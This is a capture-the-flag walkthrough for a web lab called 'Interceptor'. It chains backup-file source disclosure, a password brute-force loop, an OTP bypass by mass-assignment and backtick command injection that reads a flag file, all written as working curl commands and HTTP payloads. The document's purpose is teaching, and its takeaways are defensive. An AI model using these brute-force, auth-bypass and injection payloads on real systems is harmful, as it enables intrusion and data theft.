Kill Chain
Recon & Content Discovery
Port scan
shell
nmap -sV -p- 10.112.156.155
echo '10.112.156.155 interceptor.thm' | sudo tee -a /etc/hosts
Three ports open: 22 (SSH), 53 (DNS — AXFR refused), 80 (Apache 2.4.41 — the entire challenge). All action is on port 80.
Directory enumeration
shell
ffuf -u http://interceptor.thm/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-e .php -fc 404
Interesting endpoints found:
login.php — JS-driven login form that POSTs to an API endpoint.api_login.php — JSON API consumed by the form. Returns {ok, error} on failure or {ok:true, redirect} on success.dashboard.php and otp.php — both redirect to login.php until the session is fully verified.config.php — returns 0 bytes. PHP is executing it, not serving it raw. Can't read it directly.uploads/ — directory listing enabled, contains avatar images. Not immediately useful.The full auth flow looks like this:
flow
login.php → api_login.php → otp.php → verify_otp.php → dashboard.php
.php file returns a 200 OK with 1491 bytes — Apache silently rewrites it to index.php. A 200 status alone means nothing here. Always compare body sizes against this baseline when fuzzing PHP apps with fallback routing.
Source Disclosure via .bak File
Backup files are left behind by text editors and manual deployments — they're not executed by PHP, so the web server serves them as raw text. Sweeping for common backup extensions against every known PHP file:
shell
for ext in .bak .swp .old .save .orig "~"; do
for base in api_login login config dashboard otp; do
size=$(curl -s -o /dev/null -w "%{size_download}" \
"http://interceptor.thm/${base}.php${ext}")
# anything that isn't the 1491-byte fallback is a real file
[ "$size" != "1491" ] && [ "$size" != "0" ] && \
echo "$base.php$ext => $size bytes"
done
done
login.php.bak => 2038 bytes
http — fetch the backup
GET /login.php.bak HTTP/1.1
Host: interceptor.thm
The file contains a developer comment that should have been removed before deployment:
login.php.bak — developer comment
/*
|--------------------------------------------------------------------------
| Developer Note (temporary)
|--------------------------------------------------------------------------
| Admin test account for staging environment
| Email: [email protected]
|
| Password policy reminder:
| Admin password follows company format:
| MediaHub + any year
|
| TODO: remove before production deployment
*/
① The real admin email is
[email protected] — not [email protected]. Every previous login attempt failed because of the wrong domain, not the wrong password.② The password format is
MediaHub<year> — this collapses the entire keyspace to ~40 guesses.
Dead Ends — What Doesn't Work
Before finding the backup file, several standard approaches were tested and failed. Worth documenting so you don't repeat them.
| Attempt | Why it failed |
|---|---|
| Response tampering | Changing ok:false → ok:true in the API response fools the client JS into redirecting — but the server-side session is never set. dashboard.php redirects straight back to login. |
| SQLi in email / password | ' OR '1'='1 and variants — all returned Invalid credentials. The query is parameterised or the input is otherwise sanitised. |
| PHP type-juggling | email[]=...&password[]=... — no effect. |
| Header injection | X-Forwarded-For: 127.0.0.1, X-Original-URL, alternative Host values — none bypassed auth. |
| Mass-assignment on login | admin=1, role=admin, is_admin=true, bypass=1 — none changed the response. |
| Probing non-existent API routes | api_register.php, api_otp.php, etc. — all return the 1491-byte fallback. They don't exist. |
Brute-forcing the Password
With the format MediaHub<year>, the entire search space is ~40 requests. No wordlist needed.
shell
for year in $(seq 1990 2030); do
resp=$(curl -s -X POST http://interceptor.thm/api_login.php \
-d "[email protected]&password=MediaHub${year}")
case "$resp" in
*Invalid*) ;;
*) echo "[+] $year => $resp" ;;
esac
done
[+] $YEAR => {"ok":true,"message":"Login success. OTP required.","redirect":"otp.php"}
http — successful login request
POST /api_login.php HTTP/1.1
Host: interceptor.thm
Content-Type: application/x-www-form-urlencoded
[email protected]&password=$PASS
http — response
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb; path=/
{"ok":true,"message":"Login success. OTP required.","redirect":"otp.php"}
The PHPSESSID cookie is now bound to a partially authenticated session — login passed, OTP not yet verified. This cookie is what we carry into the next step.
OTP Bypass — Mass-Assignment
Finding the vulnerability
Posting a random OTP to verify_otp.php with the partial-auth session returns an interesting response:
http — probe request
POST /verify_otp.php HTTP/1.1
Host: interceptor.thm
Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb
Content-Type: application/x-www-form-urlencoded
otp=000000
http — response
{"ok":false,"error":"Invalid OTP. Try again.","is_verified":false}
"is_verified":false — a field the client JS never reads. It only checks data.ok. This field is leaking because the backend builds its JSON response from the same internal state array it uses to track session verification. When a server exposes its own internal state keys in the response, it's almost always reading those same keys from the request — this is the classic mass-assignment pattern.
The bypass
Send is_verified=true alongside the OTP. The OTP value itself is irrelevant — the backend reads is_verified from the POST body and sets the session flag directly.
http — bypass request
POST /verify_otp.php HTTP/1.1
Host: interceptor.thm
Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb
Content-Type: application/x-www-form-urlencoded
otp=000000&is_verified=true
http — response
{"ok":true,"message":"OTP verified. Redirecting..."}
Note that is_verified is gone from the response — the session is now fully authenticated and the backend no longer needs to surface that flag.
verified=true or is_verified=1 fail: They consume the partial-auth session — the next response says "Session expired. Please login again." The session is single-use at this stage. Use the exact key and value the backend expects: is_verified=true. Get a fresh PHPSESSID from the brute-force step each time you test a variant.
With the session fully verified, dashboard.php is now accessible and returns the web flag in a tooltip attribute.
Command Injection — Feed Importer
Identifying the vector
The dashboard exposes a "Import Feed" widget that POSTs a URL to import_feed_api.php. Reading the client-side JS reveals the filter:
javascript — client-side filter
// strip semicolons, ampersands, pipes before submitting
const url = feedUrl.value.replace(/[;&|]/g, '');
Two giveaways: the filter runs on the client only (Burp skips it entirely), and the error response renders data.cmd_output in a <pre> block — the backend is shelling out, almost certainly as curl <url>, and returning stdout directly.
;, &, |), but backticks are not on the list — and backticks trigger command substitution in bash.
Confirming RCE
Inject a backtick subshell inside the URL. The server passes the string to bash, which expands the subshell, then uses the output as part of the hostname for curl — which fails to resolve it and prints the expanded value in the error.
http — RCE probe
POST /import_feed_api.php HTTP/1.1
Host: interceptor.thm
Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb
Content-Type: application/x-www-form-urlencoded
url=http%3A%2F%2Fx.com%60id%60
Decoded body: url=http://x.com`id`
response — RCE confirmed
curl: (6) Could not resolve host: uid=33(www-data)
curl: (6) Could not resolve host: gid=33(www-data)
curl: (6) Could not resolve host: groups=33(www-data),1002(findgroup),1003(websql)
Bash expanded `id`, split the output on whitespace, and handed each token to curl as a hostname. Host resolution fails — but the output leaks through the error message. RCE confirmed as www-data.
Reading the flag — bash brace expansion problem
First attempt at reading the file directly:
url payload
url=http://x.com`cat /var/www/user.txt`
response — truncated flag
curl: (6) Could not resolve host: x.comTHMSYSTEM_PWNED_SUCCESSFULLY
THM{...} curly braces are shell metacharacters — bash interprets them as brace expansion and either expands or silently drops them before passing the string to curl. The flag text is there, but the braces are gone.
Workaround — base64 encode the output
Base64 output contains only [A-Za-z0-9+/=] — no shell metacharacters, no brace expansion, no whitespace splitting. Encode the file contents before they touch the shell.
http — final exfil request
POST /import_feed_api.php HTTP/1.1
Host: interceptor.thm
Cookie: PHPSESSID=3mbkf04s5enib9e3mtb0f36uhb
Content-Type: application/x-www-form-urlencoded
url=http%3A%2F%2Fx.com%60base64%20%2Fvar%2Fwww%2Fuser.txt%60
Decoded body: url=http://x.com`base64 /var/www/user.txt`
response → decode locally
curl: (6) Could not resolve host: x.comVEhNe1NZU1RFTV9QV05FRF9TVUNDRVNTRlVMTFl9Cg==
# decode locally
echo VEhNe1NZU1RFTV9QV05FRF9TVUNDRVNTRlVMTFl9Cg== | base64 -d
THM{...}
Full Attack — One-liner Chain
shell — complete attack condensed
# 1. confirm the backup exists (size ≠ 1491 fallback)
curl -s -o /dev/null -w "%{size_download}\n" http://interceptor.thm/login.php.bak
# 2. read it — grab the email and password format from the comment
curl -s http://interceptor.thm/login.php.bak
# 3. brute the year, save the session cookie
curl -s -c jar.txt -X POST http://interceptor.thm/api_login.php \
-d '[email protected]&password=$PASS'
# 4. bypass OTP via mass-assignment
curl -s -b jar.txt -X POST http://interceptor.thm/verify_otp.php \
-d 'otp=000000&is_verified=true'
# 5. grab the web flag from the dashboard tooltip
curl -s -b jar.txt http://interceptor.thm/dashboard.php \
| grep -oE 'THM\{[^}]+\}'
# 6. read /var/www/user.txt via backtick injection + base64 (avoids brace expansion)
curl -s -b jar.txt -X POST http://interceptor.thm/import_feed_api.php \
--data-urlencode 'url=http://x.com`base64 /var/www/user.txt`' \
| grep -oE '[A-Za-z0-9+/=]{20,}' | base64 -d
Key Takeaways
index.php return 200 for everything. Compare sizes — any response that differs from the baseline is a real file..bak, .old, .swp, ~, .orig, .save against every known PHP file. Text editors and sloppy deployments leave these behind. They're not parsed by PHP — served as raw text.dashboard.php will return. Always tamper the request, not the response.is_verified) in a JSON response that the client never reads, that field is almost always read from the request body too. Send it back set to true.replace(/[;&|]/g,'') in JavaScript is skipped by every HTTP client that isn't a browser. The filter must live server-side. And even then — backticks, $(), ${IFS}, and newlines weren't on this list.THM{...} flags in subshells. Curly braces are shell metacharacters. Encode before the output touches the shell: base64 <file>, xxd, or od -An -c. Decode locally after exfil.